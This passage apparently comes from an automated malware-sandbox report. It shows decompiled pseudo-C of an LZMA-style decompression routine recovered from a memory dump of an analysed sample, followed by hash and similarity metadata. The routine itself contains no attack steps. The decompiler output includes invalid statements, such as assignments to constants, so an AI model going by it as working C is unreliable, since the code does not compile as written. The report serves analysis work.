												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad8b3a7fce677aa33c13c02e3180aa90519ee056083dbfcd0f6a1ae91265e6c
Instruction ID: 95af8839098f806f541805b71f16133a603fad5641f47eebb8f014e75b9041d1
Opcode Fuzzy Hash: 8ad8b3a7fce677aa33c13c02e3180aa90519ee056083dbfcd0f6a1ae91265e6c
Instruction Fuzzy Hash: 58A13371D00229CBDF28CFA8C8447ADBBB1FF44305F25856AD856BB281D7789A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004065DE, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004065DE() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
